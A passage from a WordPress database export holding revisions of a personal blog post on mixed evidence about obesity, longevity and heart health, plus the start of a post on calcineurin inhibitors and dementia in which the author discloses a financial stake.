weight people</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":222,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image.png\" alt=\"\" class=\"wp-image-222\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. Huh. Maybe we can then just say something like, \"Obesity is bad for your longevity if you\'re young, and might be good for your longevity if you\'re over 55.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And I\'d agree with you. <a href=\"https://www.nature.com/articles/s41366-018-0210-2\">Except if you live in Australia</a>. Obesity is bad for all ages if you live in Australia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":223,\"width\":812,\"height\":268,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image-1-1024x339.png\" alt=\"\" class=\"wp-image-223\" width=\"812\" height=\"268\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Well, now I\'m really mixed up. At least we can say that obesity is definitely bad for your cardiovascular health, right?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, for sure. Obesity is bad for your cardiovascular health. Just, uh...if you are obese, <a href=\"https://www.bmj.com/content/359/bmj.j4849.full\">there\'s no good evidence that weight loss helps your cardiovascular health.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":571,\"height\":450} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://www.bmj.com/content/bmj/359/bmj.j4849/F5.medium.gif\" alt=\"Figure5\" width=\"571\" height=\"450\"/><figcaption>Random effects meta-analysis of the effects of weight loss interventions on participants with a cardiovascular event. .</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Oh, also, while obesity is correlated with asthma, <a href=\"https://asth.ma/post/156382916189/obesity-and-smoking-are-more-strongly-associated\">that\'s much more true for women than men</a>. Why? No idea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":584,\"height\":336} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://64.media.tumblr.com/3dbfde6db27f0018ad447ab203ce414c/tumblr_inline_okdb62CtlZ1rczqzj_500.png\" alt=\"image\" width=\"584\" height=\"336\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, in conclusion, if you\'re young, try to lose weight. If you\'re old, maybe gain weight, unless you\'re in the Netherlands or Australia. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to improve your cardiovascular health, losing weight may not help. But, if you\'re deciding whether to gain weight to improve your cardiovascular health, I would not recommend it, especially if you\'re a woman.</p>\n<!-- /wp:paragraph -->','Why isn\'t being obese worse for your health?','','publish','closed','closed','','why-isnt-being-obese-worse-for-your-health','','','2021-10-22 17:40:04','2021-10-22 17:40:04','',0,'https://trevorklee.com/?page_id=220',0,'page','',0),
(221,1,'2021-10-22 13:34:28','2021-10-22 13:34:28','','image','','inherit','open','closed','','image','','','2021-10-22 13:34:28','2021-10-22 13:34:28','',220,'https://trevorklee.com/wp-content/uploads/2021/10/image.jpeg',0,'attachment','image/jpeg',0),
(222,1,'2021-10-22 13:39:25','2021-10-22 13:39:25','','image','','inherit','open','closed','','image-2','','','2021-10-22 13:39:25','2021-10-22 13:39:25','',220,'https://trevorklee.com/wp-content/uploads/2021/10/image.png',0,'attachment','image/png',0),
(223,1,'2021-10-22 13:44:17','2021-10-22 13:44:17','','image-1','','inherit','open','closed','','image-1','','','2021-10-22 13:44:17','2021-10-22 13:44:17','',220,'https://trevorklee.com/wp-content/uploads/2021/10/image-1.png',0,'attachment','image/png',0),
(224,1,'2021-10-22 14:02:01','2021-10-22 14:02:01','<!-- wp:paragraph -->\n<p><em>Want more fun discussions of science and bad jokes? Follow me on <a href=\"https://twitter.com/trevor_klee\">Twitter</a></em> <em>or <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up to receive notifications when I publish new blog posts</a>.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two things that I think everyone can agree on regarding obesity is:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It\'s bad for your longevity</li><li>It\'s bad for your cardiovascular health</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>I don\'t think these are controversial statements. Literally every doctor in America would agree with me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That\'s why it\'s so strange that the literature is so mixed up on this. Let\'s take the first claim, \"Obesity is bad for your longevity.\" If that were true, I\'d expect obese people to die sooner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. That\'s what <a href=\"https://www.acpjournals.org/doi/abs/10.7326/0003-4819-138-1-200301070-00008\">this paper</a> finds in the Netherlands: obese men lose 5.8 years of life expectancy, obese women lose 7.1 years of life expectancy. I\'m not sure if those are exact numbers I\'d expect, but whatever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now let\'s go to America. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":221,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image.jpeg\" alt=\"\" class=\"wp-image-221\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In America, <a href=\"https://academic.oup.com/gerontologist/article/45/4/438/565599?login=true\">obese men and women (over the age of 70) live a tiny bit longer than non-obese men</a>. Seriously, look at the figure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":426,\"height\":694} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://oup.silverchair-cdn.com/oup/backfile/Content_public/Journal/gerontologist/45/4/10.1093_geront_45.4.438/2/grnt-45-04-12-f02.gif?Expires=1637933798&amp;Signature=Hxsjn4guJmp1ABIms8SWOHrNWCUjIHprH2moIdzPbKoviyHqshm6AdEu0nz1cjjHEIUOQ7jGj3NNwpW0XbsTr5u0fQO1TCxunlO8N2lQK3kPIYa~jrq1yClChAzHGibaye9sPHxVdEDMvEw2juTjUTkTmqSgiErhnhH1-p6lIIuH2OC8QwOkgQJKnZsJVg1nbJEVYTkci0rjQsAqxpHTCv9YpuAWWgQ3pz62bCwst7CFevmtIP~s8a5a5NewVXSrAEqE20WuZ7Que-937Ty6pWurERSDDEuMP4rorbQglMHpmDBId85b3DL3dsYE2LUVgNqtiYCVmPkkWjp4kdmZIg__&amp;Key-Pair-Id=APKAIE5G5CRDK6RD3PGA\" alt=\"Estimated 2-year probability of dying (confidence intervals) for obese and nonobese men and women aged 70 and older: AHEAD 1993–1998 (a black square represents obese individuals, and a white box represents nonobese individuals)\" width=\"426\" height=\"694\"/><figcaption>Black squares are obese, white squares are non-obese.</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\"But,\" you say, \"that\'s in the elderly! That\'s not a apples-to-apples comparison!\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fine. Let\'s go to 55+ in the Netherlands. And...once again, <a href=\"https://www.nature.com/articles/ijo201694/tables/3\">obese people live longer than normal weight people</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":222,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image.png\" alt=\"\" class=\"wp-image-222\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. Huh. Maybe we can then just say something like, \"Obesity is bad for your longevity if you\'re young, and might be good for your longevity if you\'re over 55.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And I\'d agree with you. <a href=\"https://www.nature.com/articles/s41366-018-0210-2\">Except if you live in Australia</a>. Obesity is bad for all ages if you live in Australia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":223,\"width\":812,\"height\":268,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image-1-1024x339.png\" alt=\"\" class=\"wp-image-223\" width=\"812\" height=\"268\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Well, now I\'m really mixed up. At least we can say that obesity is definitely bad for your cardiovascular health, right?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, for sure. Obesity is bad for your cardiovascular health. Just, uh...if you are obese, <a href=\"https://www.bmj.com/content/359/bmj.j4849.full\">weight loss doesn\'t help your cardiovascular health.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":571,\"height\":450} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://www.bmj.com/content/bmj/359/bmj.j4849/F5.medium.gif\" alt=\"Figure5\" width=\"571\" height=\"450\"/><figcaption>Random effects meta-analysis of the effects of weight loss interventions on participants with a cardiovascular event. .</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Oh, also, while obesity is correlated with asthma, <a href=\"https://asth.ma/post/156382916189/obesity-and-smoking-are-more-strongly-associated\">that\'s much more true for women than men</a>. Why? No idea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":584,\"height\":336} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://64.media.tumblr.com/3dbfde6db27f0018ad447ab203ce414c/tumblr_inline_okdb62CtlZ1rczqzj_500.png\" alt=\"image\" width=\"584\" height=\"336\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, in conclusion, if you\'re young, try to lose weight. If you\'re old, maybe gain weight, unless you\'re in the Netherlands or Australia. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to improve your cardiovascular health, losing weight will not help. But, if you\'re deciding whether or not to gain weight to improve your cardiovascular health, I would not recommend it, especially if you\'re a woman.</p>\n<!-- /wp:paragraph -->','Why isn\'t being obese worse for your health?','','inherit','closed','closed','','220-revision-v1','','','2021-10-22 14:02:01','2021-10-22 14:02:01','',220,'https://trevorklee.com/?p=224',0,'revision','',0),
(226,1,'2021-10-22 14:05:53','2021-10-22 14:05:53','<!-- wp:paragraph -->\n<p><em>Want more fun discussions of science and bad jokes? Follow me on <a href=\"https://twitter.com/trevor_klee\">Twitter</a></em> <em>or <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up to receive notifications when I publish new blog posts</a>.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two things that I think everyone can agree on regarding obesity is:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It\'s bad for your longevity</li><li>It\'s bad for your cardiovascular health</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>I don\'t think these are controversial statements. Literally every doctor in America would agree with me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That\'s why it\'s so strange that the literature is so mixed up on this. Let\'s take the first claim, \"Obesity is bad for your longevity.\" If that were true, I\'d expect obese people to die sooner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. That\'s what <a href=\"https://www.acpjournals.org/doi/abs/10.7326/0003-4819-138-1-200301070-00008\">this paper</a> finds in the Netherlands: obese men lose 5.8 years of life expectancy, obese women lose 7.1 years of life expectancy. I\'m not sure if those are exact numbers I\'d expect, but whatever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now let\'s go to America. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":221,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image.jpeg\" alt=\"\" class=\"wp-image-221\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In America, <a href=\"https://academic.oup.com/gerontologist/article/45/4/438/565599?login=true\">obese men and women (over the age of 70) live a tiny bit longer than non-obese men and women</a>. Seriously, look at the figure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":426,\"height\":694} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://oup.silverchair-cdn.com/oup/backfile/Content_public/Journal/gerontologist/45/4/10.1093_geront_45.4.438/2/grnt-45-04-12-f02.gif?Expires=1637933798&amp;Signature=Hxsjn4guJmp1ABIms8SWOHrNWCUjIHprH2moIdzPbKoviyHqshm6AdEu0nz1cjjHEIUOQ7jGj3NNwpW0XbsTr5u0fQO1TCxunlO8N2lQK3kPIYa~jrq1yClChAzHGibaye9sPHxVdEDMvEw2juTjUTkTmqSgiErhnhH1-p6lIIuH2OC8QwOkgQJKnZsJVg1nbJEVYTkci0rjQsAqxpHTCv9YpuAWWgQ3pz62bCwst7CFevmtIP~s8a5a5NewVXSrAEqE20WuZ7Que-937Ty6pWurERSDDEuMP4rorbQglMHpmDBId85b3DL3dsYE2LUVgNqtiYCVmPkkWjp4kdmZIg__&amp;Key-Pair-Id=APKAIE5G5CRDK6RD3PGA\" alt=\"Estimated 2-year probability of dying (confidence intervals) for obese and nonobese men and women aged 70 and older: AHEAD 1993–1998 (a black square represents obese individuals, and a white box represents nonobese individuals)\" width=\"426\" height=\"694\"/><figcaption>Black squares are obese, white squares are non-obese.</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\"But,\" you say, \"that\'s in the elderly! That\'s not a apples-to-apples comparison!\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fine. Let\'s go to 55+ in the Netherlands. And...once again, <a href=\"https://www.nature.com/articles/ijo201694/tables/3\">obese people live longer than normal weight people</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":222,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image.png\" alt=\"\" class=\"wp-image-222\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. Huh. Maybe we can then just say something like, \"Obesity is bad for your longevity if you\'re young, and might be good for your longevity if you\'re over 55.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And I\'d agree with you. <a href=\"https://www.nature.com/articles/s41366-018-0210-2\">Except if you live in Australia</a>. Obesity is bad for all ages if you live in Australia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":223,\"width\":812,\"height\":268,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image-1-1024x339.png\" alt=\"\" class=\"wp-image-223\" width=\"812\" height=\"268\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Well, now I\'m really mixed up. At least we can say that obesity is definitely bad for your cardiovascular health, right?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, for sure. Obesity is bad for your cardiovascular health. Just, uh...if you are obese, <a href=\"https://www.bmj.com/content/359/bmj.j4849.full\">weight loss doesn\'t help your cardiovascular health.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":571,\"height\":450} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://www.bmj.com/content/bmj/359/bmj.j4849/F5.medium.gif\" alt=\"Figure5\" width=\"571\" height=\"450\"/><figcaption>Random effects meta-analysis of the effects of weight loss interventions on participants with a cardiovascular event. .</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Oh, also, while obesity is correlated with asthma, <a href=\"https://asth.ma/post/156382916189/obesity-and-smoking-are-more-strongly-associated\">that\'s much more true for women than men</a>. Why? No idea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":584,\"height\":336} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://64.media.tumblr.com/3dbfde6db27f0018ad447ab203ce414c/tumblr_inline_okdb62CtlZ1rczqzj_500.png\" alt=\"image\" width=\"584\" height=\"336\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, in conclusion, if you\'re young, try to lose weight. If you\'re old, maybe gain weight, unless you\'re in the Netherlands or Australia. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to improve your cardiovascular health, losing weight will not help. But, if you\'re deciding whether or not to gain weight to improve your cardiovascular health, I would not recommend it, especially if you\'re a woman.</p>\n<!-- /wp:paragraph -->','Why isn\'t being obese worse for your health?','','inherit','closed','closed','','220-revision-v1','','','2021-10-22 14:05:53','2021-10-22 14:05:53','',220,'https://trevorklee.com/?p=226',0,'revision','',0),
(228,1,'2021-10-22 17:40:04','2021-10-22 17:40:04','<!-- wp:paragraph -->\n<p><em>Want more fun discussions of science and bad jokes? Follow me on <a href=\"https://twitter.com/trevor_klee\">Twitter</a></em> <em>or <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up to receive notifications when I publish new blog posts</a>.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two things that I think everyone can agree on regarding obesity is:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It\'s bad for your longevity</li><li>It\'s bad for your cardiovascular health</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>I don\'t think these are controversial statements. Literally every doctor in America would agree with me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That\'s why it\'s so strange that the literature is so mixed up on this. Let\'s take the first claim, \"Obesity is bad for your longevity.\" If that were true, I\'d expect obese people to die sooner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. That\'s what <a href=\"https://www.acpjournals.org/doi/abs/10.7326/0003-4819-138-1-200301070-00008\">this paper</a> finds in the Netherlands: obese men lose 5.8 years of life expectancy, obese women lose 7.1 years of life expectancy. I\'m not sure if those are exact numbers I\'d expect, but whatever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now let\'s go to America. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":221,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image.jpeg\" alt=\"\" class=\"wp-image-221\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In America, <a href=\"https://academic.oup.com/gerontologist/article/45/4/438/565599?login=true\">obese men and women (over the age of 70) live a tiny bit longer than non-obese men and women</a>. Seriously, look at the figure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":426,\"height\":694} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://oup.silverchair-cdn.com/oup/backfile/Content_public/Journal/gerontologist/45/4/10.1093_geront_45.4.438/2/grnt-45-04-12-f02.gif?Expires=1637933798&amp;Signature=Hxsjn4guJmp1ABIms8SWOHrNWCUjIHprH2moIdzPbKoviyHqshm6AdEu0nz1cjjHEIUOQ7jGj3NNwpW0XbsTr5u0fQO1TCxunlO8N2lQK3kPIYa~jrq1yClChAzHGibaye9sPHxVdEDMvEw2juTjUTkTmqSgiErhnhH1-p6lIIuH2OC8QwOkgQJKnZsJVg1nbJEVYTkci0rjQsAqxpHTCv9YpuAWWgQ3pz62bCwst7CFevmtIP~s8a5a5NewVXSrAEqE20WuZ7Que-937Ty6pWurERSDDEuMP4rorbQglMHpmDBId85b3DL3dsYE2LUVgNqtiYCVmPkkWjp4kdmZIg__&amp;Key-Pair-Id=APKAIE5G5CRDK6RD3PGA\" alt=\"Estimated 2-year probability of dying (confidence intervals) for obese and nonobese men and women aged 70 and older: AHEAD 1993–1998 (a black square represents obese individuals, and a white box represents nonobese individuals)\" width=\"426\" height=\"694\"/><figcaption>Black squares are obese, white squares are non-obese.</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\"But,\" you say, \"that\'s in the elderly! That\'s not a apples-to-apples comparison!\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fine. Let\'s go to 55+ in the Netherlands. And...once again, <a href=\"https://www.nature.com/articles/ijo201694/tables/3\">obese people live longer than normal weight people</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":222,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image.png\" alt=\"\" class=\"wp-image-222\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. Huh. Maybe we can then just say something like, \"Obesity is bad for your longevity if you\'re young, and might be good for your longevity if you\'re over 55.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And I\'d agree with you. <a href=\"https://www.nature.com/articles/s41366-018-0210-2\">Except if you live in Australia</a>. Obesity is bad for all ages if you live in Australia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":223,\"width\":812,\"height\":268,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image-1-1024x339.png\" alt=\"\" class=\"wp-image-223\" width=\"812\" height=\"268\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Well, now I\'m really mixed up. At least we can say that obesity is definitely bad for your cardiovascular health, right?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, for sure. Obesity is bad for your cardiovascular health. Just, uh...if you are obese, <a href=\"https://www.bmj.com/content/359/bmj.j4849.full\">there\'s no good evidence that weight loss helps your cardiovascular health.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":571,\"height\":450} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://www.bmj.com/content/bmj/359/bmj.j4849/F5.medium.gif\" alt=\"Figure5\" width=\"571\" height=\"450\"/><figcaption>Random effects meta-analysis of the effects of weight loss interventions on participants with a cardiovascular event. .</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Oh, also, while obesity is correlated with asthma, <a href=\"https://asth.ma/post/156382916189/obesity-and-smoking-are-more-strongly-associated\">that\'s much more true for women than men</a>. Why? No idea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":584,\"height\":336} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://64.media.tumblr.com/3dbfde6db27f0018ad447ab203ce414c/tumblr_inline_okdb62CtlZ1rczqzj_500.png\" alt=\"image\" width=\"584\" height=\"336\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, in conclusion, if you\'re young, try to lose weight. If you\'re old, maybe gain weight, unless you\'re in the Netherlands or Australia. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to improve your cardiovascular health, losing weight may not help. But, if you\'re deciding whether to gain weight to improve your cardiovascular health, I would not recommend it, especially if you\'re a woman.</p>\n<!-- /wp:paragraph -->','Why isn\'t being obese worse for your health?','','inherit','closed','closed','','220-revision-v1','','','2021-10-22 17:40:04','2021-10-22 17:40:04','',220,'https://trevorklee.com/?p=228',0,'revision','',0),
(229,1,'2021-11-03 14:42:07','2021-11-03 14:42:07','<!-- wp:paragraph -->\n<p>When I was in college, I applied for an internship at the Huffington Post, that venerable bastion of journalism. Before my interview, I was given a spreadsheet of articles and associated view counts. I was asked to formulate and present a hypothesis about which types of articles generate the most views.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I presented my hypothesis, I intended to present it like a science paper: introduction, methods, results. But, 5 minutes into my presentation, my interviewer, Koda, stopped me.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Always start with the most exciting result first,” he said. So, I restarted my presentation, skipped to the end of the slides, and worked backwards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t end up getting the internship. But, in honor of his advice, here’s the most exciting figure I’ve ever seen in a dementia paper. I’ll start from this figure, and work my way backwards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3NO5JO9hiovbtHpLce1mWARauEvomCY4ahRxjQjoaq0CR8k3E-2wbMhM3n8ovqiVmEffD5PZK1zTZkzFnGcMicBZseG-VOEYA0MiJwfLMwVUEgpa_6pQWorRS3w_EF1qd2jF0D-V\" alt=\"\"/><figcaption class=\"wp-element-caption\">from: &nbsp;<a href=\"https://content.iospress.com/articles/journal-of-alzheimers-disease/jad150065\">Reduced incidence of&nbsp;<strong>dementia&nbsp;</strong>in solid&nbsp;<strong>organ transplant&nbsp;</strong>patients treated with calcineurin inhibitors</a></figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is a graph of dementia rates in immunosuppressed organ transplant patients at a University of Texas hospital. Specifically, these are organ transplant patients who have received calcineurin inhibitors, which is a specific type of immunosuppressant with some weird properties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gray is the percentage of patients in the general population in that age group who get dementia. The black is the percentage of organ transplant patients in that age group that have received calcineurin inhibitors who get dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, dementia is almost absent in the calcineurin inhibitor group. It is literally absent in the &gt;85 group. Shocking, no?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And before you think this is just some trick with percentages, here are the raw numbers below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":\"690px\",\"height\":\"304px\"} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://lh3.googleusercontent.com/7VhhwZgh4zneMa2av2yjf6KZwKnqOlh6LRO_PH6Lhsx4cnmkuxGJ9dAufREQehUjWsYJN00rDj8PFN85PAhj3XKbp_J8UO0jZhNx6RmoWiuJB0D2BV9hWVbqL4Ac2ziBq97UpDGu\" alt=\"\" style=\"width:690px;height:304px\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>We’re not talking about small numbers of people here. These are large groups of people, and dementia is almost completely absent. Like…holy shit, no? If you take this graph at face value, it kind of looks like calcineurin inhibitors are a preventative or a cure for dementia. Given that Biogen’s bullshit drug for Alzheimer’s was estimated to bring in so much revenue as to bankrupt Medicare, this is a $50 billion discovery at <em>least</em>. Maybe a Nobel Prize, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, before we pop the champagne, let’s take a step back and see if we can actually soberly address this. I’ll start with a small confession, then I’ll discuss why you might not believe this paper, why you might believe it, and then what we should do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;So, first of all, the confession: I’m not a neutral observer here. In talking about this paper, I’m talking my own book. My company, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a>, is currently raising funds to get a safer, easier to use, extended-release version of cyclosporine, the most common calcineurin inhibitor, into first-in-human trials. If this paper is correct, investors should probably consider throwing money at me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now with that out of the way, there are some major reasons why you might not believe this paper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most obvious reason that most people think about is survivorship bias. Organ transplant patients are, by their nature, sick patients. Maybe immunosuppressed people who would get dementia are also the sort who would die sooner, possibly because they forget to take their meds and then their body rejects the graft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is possible, but seems unlikely to me, as you wouldn’t expect there to be a strong enough correlation to account for the huge disparity in dementia results. <a href=\"https://jasn.asnjournals.org/content/28/5/1575.short\">This paper</a> (which I discuss much more below) suggests organ transplant patients with dementia are about twice as likely to experience graft loss, although it’s unclear which way the causative relationship swings. Side note: I also found <a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0041134511002430\">a hilarious, weird study</a> that stated “a greater fear 